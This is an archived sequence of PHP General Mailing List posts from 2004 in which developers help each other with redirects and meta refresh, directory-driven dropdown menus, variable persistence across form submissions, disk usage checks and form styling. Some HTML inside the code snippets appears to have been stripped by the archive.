> Raditha Dissanayake.
> 
> http://www.radinks.com/sftp/ | http://www.raditha.com/megaupload
> Lean and mean Secure FTP applet with | Mega Upload - PHP file uploader
> Graphical User Inteface. Just 150 KB | with progress bar.
>
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] PHP REDIRECT

2004-02-16 Thread Chris Shiflett
--- Raditha Dissanayake <[EMAIL PROTECTED]> wrote:
> It's not often that i disagree with the other chris but one occaision 
> where meta refresh turns out to be the only solution is when working 
> with some payment gateways where instead of doing a simple old post to 
> your return page they include it inside their own thank you page so the 
> headers will not work.
> 
> Lame? well some of the best known gateways are doing it.

You're right, but I don't think this means that we must disagree. :-)

In my opinion, this simply falls into the narrow category for which the
http-equiv attribute was created. If you want to specify an HTTP header in
the content, it's your only option. This is such a case. Because the
payment processor is the one acting as the Web client, it is they who
receive your HTTP response. They only display the content of this response
to the end user, so any headers you set are probably discarded (or maybe
the payment processor is redirected?).

However, this has lead to people using this same approach in the 99% of
situations where it is not necessary. If the user's Web client is
receiving your HTTP response in its entirety (the usual situation), you
can set any HTTP header you want the "right" way.

I don't have the URL handy, but there is a site somewhere that has been
conducting extensive tests to determine which headers have good http-equiv
support among various browsers. While Refresh is pretty well supported,
other headers are not, and the most consistent support for any header
definitely lies with it being sent within the protocol where it is
intended.

Hope that helps.

Chris

=
Chris Shiflett - http://shiflett.org/

PHP Security - O'Reilly
 Coming mid-2004
HTTP Developer's Handbook - Sams
 http://httphandbook.org/
PHP Community Site
 http://phpcommunity.org/

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] PHP REDIRECT

2004-02-16 Thread Chris Shiflett
--- Raditha Dissanayake <[EMAIL PROTECTED]> wrote:
> What happens is that the gateways include your page instead of posting 
> to your page.
> 
> For example if you visit a site that uses worldpay as a payment service 
> provider you will see their banner on the thank you page after
> payment is made.  In such cases the header functions will not work 
> because it's too late to send them.

In case this wasn't clear, I can elaborate...

Let's use some fake domains:

1. payment.org - the payment processor
2. yoursite.org - your Web site

As a user, I want to buy something from yoursite.org, and you use a
payment processor for this purpose. I click a link from your site to
theirs, so http://payment.org/... is displayed in my browser. I enter some
credit card ifnormation, and click the button, and this happens:

1. payment.org verifies my information, charges my credit card, etc.
2. payment.org sends an HTTP request (typically a POST) to a URL at
yoursite.org, where you receive payment notifications. You make the output
of this page appropriate for the end user.
3. payment.org displays the output of your page to the user.

So, after I (the user) click the submit button, I see a "thank you" page
of some sort that was generated by yoursite.org. However, my browser still
shows that I am on payment.org's Web site.

To recap, payment.org is playing the role of a Web client (browser, for
example) when communicating with yoursite.org's payment notification page.
It uses the output of this page (the HTTP content) to use when it
communicates back to the user, at which time it is playing the more
typical role of a Web server.

Hope that helps.

Chris

=
Chris Shiflett - http://shiflett.org/

PHP Security - O'Reilly
 Coming mid-2004
HTTP Developer's Handbook - Sams
 http://httphandbook.org/
PHP Community Site
 http://phpcommunity.org/

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] PHP REDIRECT

2004-02-16 Thread Chris Shiflett
--- Lowell Allen <[EMAIL PROTECTED]> wrote:
> You must do authorization, then force a file download, and you want to
> also display a link to the file with the typical "click the link below
> if the download does not start automatically". I couldn't figure out how
> to display a page (after authorization), then use the PHP header
> redirect to force the download while keeping the same page display.
> However, using a meta refresh to a script that forced the download
> (without producing any display) was an easy solution.
> 
> Am I overlooking a better solution?

I'm not sure. To be clear, you're saying that the following two things do
not behave the same for you:

header('Refresh: ...');



Is this right? I suspect that you might be comparing these instead:

header('Location: ...');



If this is the case, the difference in behavior is due to:

1. Different headers.
2. Different response status codes (setting a Location header also changes
the status code from 200 to 302).

If this is not the case, I'm honestly not sure why the behavior would be
any different, since browsers that support http-equiv are supposed to
interpret these exactly as if they were real headers.

Hope that helps.

Chris

=
Chris Shiflett - http://shiflett.org/

PHP Security - O'Reilly
 Coming mid-2004
HTTP Developer's Handbook - Sams
 http://httphandbook.org/
PHP Community Site
 http://phpcommunity.org/

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] Re: PHP/ MySQL Login Module

2004-02-16 Thread zerof
If you can use Dreamweaver, you must use one extension to make this. Is very simple.
http://www.macromedia.com/cfusion/exchange/index.cfm
-
zerof
-
"Pushpinder Singh" <[EMAIL PROTECTED]> escreveu na mensagem
news:[EMAIL PROTECTED]
> hello everyone.
>  I am using PHP and MySQL on my website. Till now I was using a
> Login module with sessions, but the look and feel was not quite up to
--

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] zip problem

2004-02-16 Thread marc serra
Hi,

 

I want to know if it's possible to extract a zip file in PHP. 

 

I've read php documentation on ZZIPlib but i don't find any solution to
extract file.

 

Can you please help me to solve it.

 

Thx in advance,

 

Marc



[PHP] * populate menu from directory *

2004-02-16 Thread Dustin Krysak
Hi there - I am a REAL new PHP coder (yeah I mostly use dreamweaver). I 
was wondering if anyone could point me in the right direction... What I 
want to do is have a generic template page for say a bunch of quicktime 
movies... it would have a movie embedded, and a drop down menu below to 
select the movie you want to watch.. what I was hoping to do was have 
the menu populated by pulling the file names from the movies in the 
directory on the server. I want to be able to simply FTP a new movie 
onto the server, and then have the menu update itself. possible? I 
would also be looking to do something similar with JPGS.

d

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


RE: [PHP] * populate menu from directory *

2004-02-16 Thread Shaunak Kashyap
Yes, it is possible. Use PHP's filesystem functions
(http://us2.php.net/manual/en/ref.filesystem.php).

Shaunak

> -Original Message-
> From: Dustin Krysak [mailto:[EMAIL PROTECTED]
> Sent: Monday, February 16, 2004 2:33 PM
> To: PHP
> Subject: [PHP] * populate menu from directory *
>
>
> Hi there - I am a REAL new PHP coder (yeah I mostly use dreamweaver). I
> was wondering if anyone could point me in the right direction... What I
> want to do is have a generic template page for say a bunch of quicktime
> movies... it would have a movie embedded, and a drop down menu below to
> select the movie you want to watch.. what I was hoping to do was have
> the menu populated by pulling the file names from the movies in the
> directory on the server. I want to be able to simply FTP a new movie
> onto the server, and then have the menu update itself. possible? I
> would also be looking to do something similar with JPGS.
>
>
> d
>
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
>

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] * populate menu from directory *

2004-02-16 Thread David T-G
Dustin --

You have started a new thread by taking an existing message and replying
to it while merely changing the Subject: line.

That is bad, because it breaks threading.  When you reply to a message,
your mail client generates a "References:" header that tells everyone
to which posting(s) your posting refers.  A good mail client uses this
information to build a "thread tree" of the postings so that it is easy
to see just how they relate to each other.

With your posting style you successfully torpedoed this useful feature;
your posting shows up within an existing thread even though it is
completely unrelated.

Always do a fresh post when you want to start a new thread.  That means
that you do not select any sort of "Reply" when you start your message.
You can save the list address in your address book (or equivalent) for
convenience.

...and then Dustin Krysak said...
% 
% Hi there - I am a REAL new PHP coder (yeah I mostly use dreamweaver). I 

Welcome, and hang on for a great ride :-)


% was wondering if anyone could point me in the right direction... What I 
% want to do is have a generic template page for say a bunch of quicktime 

Good enough.


% movies... it would have a movie embedded, and a drop down menu below to 
% select the movie you want to watch.. what I was hoping to do was have 
% the menu populated by pulling the file names from the movies in the 

Easy enough, especially depending on where they live.


% directory on the server. I want to be able to simply FTP a new movie 
% onto the server, and then have the menu update itself. possible? I 
% would also be looking to do something similar with JPGS.

1) There are lots of gallery scripts out there, so you might look around
and avoid reinventing the wheel.

2) If the files are in the same directory as the script, just open the
dir and walk through it.  Be sure to not present '.' or '..' in the menu
(but still check whatever input you get back anyway).  If they're off in
some master directory, then do the same thing but look over there.

3) If the file paths are stored in a database, just connect to the DB and
pull the list and then loop through it just as in #2.


% 
% 
% d


HTH & HAND

:-D
-- 
David T-G  * There is too much animal courage in 
(play) [EMAIL PROTECTED] * society and not sufficient moral courage.
(work) [EMAIL PROTECTED]  -- Mary Baker Eddy, "Science and Health"
http://justpickone.org/davidtg/  Shpx gur Pbzzhavpngvbaf Qrprapl Npg!



pgp0.pgp
Description: PGP signature


Re: [PHP] * populate menu from directory *

2004-02-16 Thread Matt Matijevich

 I want to be able to simply FTP a new movie 
onto the server, and then have the menu update itself. possible? I 
would also be looking to do something similar with JPGS.


take a look at 

http://www.php.net/readdir 
http://www.php.net/opendir

here is some code to help start you


echo '';
if ($handle = opendir('moviesdirectory')) {

   while (false !== ($file = readdir($handle))) {
  if (preg_match("/\.mov$/i", $file)) { //the regular expression
might have to be modified to allow for the file extensions you want to
use
echo "$file\n";
  }
   }



   closedir($handle);
}
echo '';

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] diskusage

2004-02-16 Thread Chakravarthy Cuddapah
In php I want to know space used (du) by user on a remote system. Can anyone 
pls tell me how this can be done.

Thanks !

_
Check out the great features of the new MSN 9 Dial-up, with the MSN Dial-up 
Accelerator. http://click.atdmt.com/AVE/go/onm00200361ave/direct/01/

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


[PHP] Re: Scope: global $GLOBALS[]

2004-02-16 Thread Paul Furman
Help.
After changing $pics on the setting screen, the picture screen will not 
recognize the new value.

I'm just not clear where I need to set global (where it's being 
initially set or where it's being picked up later) especially where it 
bounces back & forth several times. For now I have global $pics 
everywhere. Is that bad?

Paul Furman wrote:
template:

global $pics;
if (!isset($pics)){$pics = 8;}
picture screen:

global $pics;
# works fine with the setting 8 from the template
settings screen:

global $pics;
print $pics; #for debugging, always follows template setting
if (!isset($pics)){$pics = 5;}
  if ($_POST){
if (isset ($_POST['thumbs'])){
  $pics = $_POST['thumbs'];
  print "settings have been changed";
}
}
?>

  " 
method="post">
  number of thumbnails per page: 
  
 value="">
  OK
  
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


Re: [PHP] PHP REDIRECT

2004-02-16 Thread Lowell Allen
> --- Lowell Allen <[EMAIL PROTECTED]> wrote:

[snip]

>> Am I overlooking a better solution?
> 
> I'm not sure. To be clear, you're saying that the following two things do
> not behave the same for you:
> 
> header('Refresh: ...');
> 
> 
> 
> Is this right? I suspect that you might be comparing these instead:
> 
> header('Location: ...');
> 
> 

Your suspicion is correct, as pointed out earlier by Stuart. Thanks to both
of you for the explanation, and sorry for the confusion.

--
Lowell Allen

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] diskusage

2004-02-16 Thread John W. Holmes
Chakravarthy Cuddapah wrote:
In php I want to know space used (du) by user on a remote system. Can 
anyone pls tell me how this can be done.
Just call du through exec().

--
---John Holmes...
Amazon Wishlist: www.amazon.com/o/registry/3BEXC84AB3A5E/

php|architect: The Magazine for PHP Professionals – www.phparch.com

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


Re: [PHP] empty file's content?

2004-02-16 Thread Marek Kilimajer
Mike Mapsnac wrote:
How can I empty a file's content through php defined functions?
Thanks
_
Check out the great features of the new MSN 9 Dial-up, with the MSN 
Dial-up Accelerator. 
http://click.atdmt.com/AVE/go/onm00200361ave/direct/01/

http://www.php.net/ftruncate

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


[PHP] Re: Scope: global $GLOBALS[]

2004-02-16 Thread Paul Furman
The template wipes it out on the second round through after changing in 
settings. Coming into the template the second time it prints out empty. 
If I don't use global, the template gives an error that the variable 
doesn't exist.

OK, well what I'm calling the template is really the configuration file 
which does an include on the template that includes the screens. I set 
global in all of those.

Paul Furman wrote:

Help.
After changing $pics on the setting screen, the picture screen will not 
recognize the new value.

I'm just not clear where I need to set global (where it's being 
initially set or where it's being picked up later) especially where it 
bounces back & forth several times. For now I have global $pics 
everywhere. Is that bad?

Paul Furman wrote:

template:

global $pics;
if (!isset($pics)){$pics = 8;}
picture screen:

global $pics;
# works fine with the setting 8 from the template
settings screen:

global $pics;
print $pics; #for debugging, always follows template setting
if (!isset($pics)){$pics = 5;}
  if ($_POST){
if (isset ($_POST['thumbs'])){
  $pics = $_POST['thumbs'];
  print "settings have been changed";
}
}
?>

  " 
method="post">
  number of thumbnails per page: 
  
 value="">
  OK
  
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


Re: [PHP] diskusage

2004-02-16 Thread David Otton
On Mon, 16 Feb 2004 15:17:52 -0500, you wrote:

>Chakravarthy Cuddapah wrote:
>> In php I want to know space used (du) by user on a remote system. Can 
>> anyone pls tell me how this can be done.
>
>Just call du through exec().

He said "remote system", which I read to mean "on the client"[?]. In that
case, it can't be done. Security.

http://uk2.php.net/manual/en/function.disk-free-space.php

will give you disc free space in a portable way (PHP => 4.1).

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] Re: Scope: global $GLOBALS[]

2004-02-16 Thread Paul Furman
None of them need global, just that initial config that calls them up 
with includes, that's where the variable is killed. I print the in & out 
value for every page & that's where it ends.

I have no idea why.

What would destroy the variable? All the other pages get it from that 
page just fine but that page it comes up as undefined and global simply 
defines it as empty. I tried static so it doesn't go away. I'm 
re-setting $pics from the settings page where I put it in a $POST, 
refresh, get it from the $POST & assign it to $pics. I even tried 
grabbing it from $POST in the config file to jump the gap but it's 
killed in $POST too! I thought $POST was a superglobal. What would make 
that lose it's value?

Any ideas?

Paul Furman wrote:

The template wipes it out on the second round through after changing in 
settings. Coming into the template the second time it prints out empty. 
If I don't use global, the template gives an error that the variable 
doesn't exist.

OK, well what I'm calling the template is really the configuration file 
which does an include on the template that includes the screens. I set 
global in all of those.

Paul Furman wrote:

Help.
After changing $pics on the setting screen, the picture screen will 
not recognize the new value.

I'm just not clear where I need to set global (where it's being 
initially set or where it's being picked up later) especially where it 
bounces back & forth several times. For now I have global $pics 
everywhere. Is that bad?

Paul Furman wrote:

template:

global $pics;
if (!isset($pics)){$pics = 8;}
picture screen:

global $pics;
# works fine with the setting 8 from the template
settings screen:

global $pics;
print $pics; #for debugging, always follows template setting
if (!isset($pics)){$pics = 5;}
  if ($_POST){
if (isset ($_POST['thumbs'])){
  $pics = $_POST['thumbs'];
  print "settings have been changed";
}
}
?>

  " 
method="post">
  number of thumbnails per page: 
  
 value="">
  OK
  
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


[PHP] Are variables persistent?

2004-02-16 Thread Paul Furman
When I refresh a script using a form, it goes through & resets all my 
custom Constants but presumably all my variables should still hold their 
values from the last run, right? THere are no functions involved.

What would cause a variable or even a $POST[] value to be erased?

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


RE: [PHP] Are variables persistent?

2004-02-16 Thread Jay Blanchard
[snip]
When I refresh a script using a form, it goes through & resets all my 
custom Constants but presumably all my variables should still hold their

values from the last run, right? THere are no functions involved.

What would cause a variable or even a $POST[] value to be erased?
[/snip]

Refreshing the script causes the variable arrays to be repopulated with
empty or blank variables unless a session was used to hold the
variables. Refreshing is essentially calling the script without passing
any variables.

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] An HTML alternative to submit button to look like anchor??

2004-02-16 Thread Scott Fletcher
Hi!

I'm wondering if there is such a thing as an alternative to the HTML
submit button that would instead look like an anchor and yet act like a
submit with POST action.  Just wondering...

Scott F.

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Are variables persistent?

2004-02-16 Thread Paul Furman
Jay Blanchard wrote:
What would cause a variable or even a $POST[] value to be erased?
[/snip]
Refreshing the script causes the variable arrays to be repopulated with
empty or blank variables unless a session was used to hold the
variables. Refreshing is essentially calling the script without passing
any variables.


Ah ha!

So...

$_REQUEST is the only way to go without getting into sessions? Hidden or 
other form methods will not work with out sessions, I guess. Damn, I 
wish I knew that four hours ago!

: - )

I thought I didn't want to clutter the URL this time so I'd try that. Ha!

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


RE: [PHP] An HTML alternative to submit button to look like anchor??

2004-02-16 Thread Jay Blanchard
[snip]
I'm wondering if there is such a thing as an alternative to the HTML
submit button that would instead look like an anchor and yet act like a
submit with POST action.  Just wondering...
[/snip]

You can do it with an image.

http://www.w3.org/TR/html4/interact/forms.html#h-17.4

Google is your friend

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] An HTML alternative to submit button to look like anchor??

2004-02-16 Thread Shaunak Kashyap
Yes, you can use elementary javascript to achieve that goal.

Just make a link (anchor) as you normally would and make the value of its
href attribute "javascript:document.formName.submit()" where formName is the
name of the form you wish to submit. As with a lot of client-side scripting
languages, I cannot guarantee that this solution is cross-browser
compatible.

Shaunak

> -Original Message-
> From: Scott Fletcher [mailto:[EMAIL PROTECTED]
> Sent: Monday, February 16, 2004 4:41 PM
> To: [EMAIL PROTECTED]
> Subject: [PHP] An HTML alternative to submit button to look like
> anchor??
>
>
> Hi!
>
> I'm wondering if there is such a thing as an alternative to the HTML
> submit button that would instead look like an anchor and yet act like a
> submit with POST action.  Just wondering...
>
> Scott F.
>
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
>

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Are variables persistent?

2004-02-16 Thread Paul Furman
Paul Furman wrote:
So...

$_REQUEST is the only way to go without getting into sessions? 


OK I see, it either goes in the url or a cookie.

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


RE: [PHP] Are variables persistent?

2004-02-16 Thread Jay Blanchard
[snip]
$_REQUEST is the only way to go without getting into sessions? 
[/snip]

Nope, $_REQUEST (as its name implies) contains variables that are part
of the request process. If you refresh the form the $_REQUEST array will
essentially be empty for those vraibles that would be passed from form
to process.

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] An HTML alternative to submit button to look like anchor??

2004-02-16 Thread Jay Blanchard
[snip]
You can do it with an image.
[/snip]

Dang! I was thinking picture of an anchor. Monday afternoon brain
freeze!

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] An HTML alternative to submit button to look like anchor??

2004-02-16 Thread Scott Fletcher
Impressive   :-)  Thanks...

"Shaunak Kashyap" <[EMAIL PROTECTED]> wrote in message
news:[EMAIL PROTECTED]
> Yes, you can use elementary javascript to achieve that goal.
>
> Just make a link (anchor) as you normally would and make the value of its
> href attribute "javascript:document.formName.submit()" where formName is
the
> name of the form you wish to submit. As with a lot of client-side
scripting
> languages, I cannot guarantee that this solution is cross-browser
> compatible.
>
> Shaunak
>
> > -Original Message-
> > From: Scott Fletcher [mailto:[EMAIL PROTECTED]
> > Sent: Monday, February 16, 2004 4:41 PM
> > To: [EMAIL PROTECTED]
> > Subject: [PHP] An HTML alternative to submit button to look like
> > anchor??
> >
> >
> > Hi!
> >
> > I'm wondering if there is such a thing as an alternative to the HTML
> > submit button that would instead look like an anchor and yet act like a
> > submit with POST action.  Just wondering...
> >
> > Scott F.
> >
> > --
> > PHP General Mailing List (http://www.php.net/)
> > To unsubscribe, visit: http://www.php.net/unsub.php
> >

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] An HTML alternative to submit button to look like anchor??

2004-02-16 Thread Scott Fletcher
Not a problem!!   :-)  I had a morning brain freeze until lunch.  Thanks...

"Jay Blanchard" <[EMAIL PROTECTED]> wrote in message
news:[EMAIL PROTECTED]
[snip]
You can do it with an image.
[/snip]

Dang! I was thinking picture of an anchor. Monday afternoon brain
freeze!

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Are variables persistent?

2004-02-16 Thread Paul Furman
Jay Blanchard wrote:

[snip]
$_REQUEST is the only way to go without getting into sessions? 
[/snip]

Nope, $_REQUEST (as its name implies) contains variables that are part
of the request process. If you refresh the form the $_REQUEST array will
essentially be empty for those vraibles that would be passed from form
to process.


OK I'm confused. I want to set a variable with a form. How do I do that? 
I guess I need to put it in the url? I did a mail form & that worked by 
putting stuff in the $POST and when it refreshed to the same mail page, 
I grabbed the stuff back out of that (at least that's what I thought I 
was doing.

Maybe I just put the new value in the url with the action property of 
the form and forget about the $POST part. I guess I don't know how that 
worked for the mail script.

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


[PHP] crack extension and gecos info

2004-02-16 Thread Seth Hollyman

One of the really handy things that the cracklib library does is
evaluate whether a password is based on a user's gecos information.


The php crack extension (--with-crack) allows me to test password
strength, but it doesn't allow me to specify the users name/gecos
information.  Instead, it uses the information of the current user (in
this case, the uid of the webserver process).

Is there a way to provide the equivalent of the gecos data to
crack_check() somehow?


Seth

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] An HTML alternative to submit button to look like anchor??

2004-02-16 Thread Marek Kilimajer
Scott Fletcher wrote:
Hi!

I'm wondering if there is such a thing as an alternative to the HTML
submit button that would instead look like an anchor and yet act like a
submit with POST action.  Just wondering...
Scott F.

Instead of javascript and image magic, I would style the button to look 
like regular text:



--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


Re: [PHP] An HTML alternative to submit button to look like anchor??

2004-02-16 Thread Marek Kilimajer
Scott Fletcher wrote:
Hi!

I'm wondering if there is such a thing as an alternative to the HTML
submit button that would instead look like an anchor and yet act like a
submit with POST action.  Just wondering...
Scott F.

Instead of javascript and image magic, I would style the button to look 
like regular text:



--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


Re: [PHP] Are variables persistent?

2004-02-16 Thread Paul Furman
Paul Furman wrote:
OK I'm confused. I want to set a variable with a form. How do I do that? 
I guess I need to put it in the url? I did a mail form & that worked by 
putting stuff in the $POST and when it refreshed to the same mail page, 
I grabbed the stuff back out of that (at least that's what I thought I 
was doing.

Maybe I just put the new value in the url with the action property of 
the form and forget about the $POST part. I guess I don't know how that 
worked for the mail script.


I had the script below working to extract the results of $POST[thumbs]. 
Assuming I can get that going again, would I then redirect with header() 
putting the new value in the url? The problem is I want it to stick to 
the pictures page (not this settings page) every time I go to that page 
so I'd have to tack it on to any page on my site and keep checking for 
it everywhere to keep it. I'm guessing this is not a sensible approach. 
Every place I construct a url, I'd have to remember to add this.



Change Settings



  "
method="post">
  number of thumbnails per page: 
  
  OK
  


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


Re: [PHP] Are variables persistent?

2004-02-16 Thread Matt Matijevich

 I'm guessing this is not a sensible approach. 
Every place I construct a url, I'd have to remember to add this.


Have you looked into sessions and/or cookies?

I think you want to use $_POST not $POST

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] Opening a popup window?

2004-02-16 Thread Shaun
Hi,

I have a form on a page. If certain options are selected on that page I need
a popup window with a select option on there to appear. How can I make this
happen with PHP, or do I need to use some JavaScript?

Thanks for your help

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



  1   2   >